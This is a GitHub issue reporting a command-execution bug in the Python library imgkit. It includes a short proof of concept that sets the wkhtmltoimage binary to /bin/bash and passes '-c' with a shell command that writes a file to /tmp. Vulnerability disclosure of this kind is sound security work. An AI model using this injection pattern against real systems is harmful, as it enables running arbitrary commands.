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can execute bash command with imgkit.from_url and config #81

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0xdc9 opened this issue Jan 19, 2022 · 0 comments

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bug

0xdc9 commented Jan 19, 2022 •

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The bug

wkhtmltoimage parameter can be used to spawn bash commands

Proof of Concept

import imgkit
config = imgkit.config(wkhtmltoimage="/bin/bash")
imgkit.from_url("-c", "'uname' && echo \'injected\' > /tmp/spawned.txt", config=config)

Screenshots

Environment

OS: macOS Mojave 10.14.6
IMGkit Version: imgkit-1.2.2
wkhtmltopdf version: wkhtmltopdf 0.12.6
wkhtmltoimage version: wkhtmltoimage 0.12.6

0xdc9 added the bug label

0xdc9 assigned jarrekk

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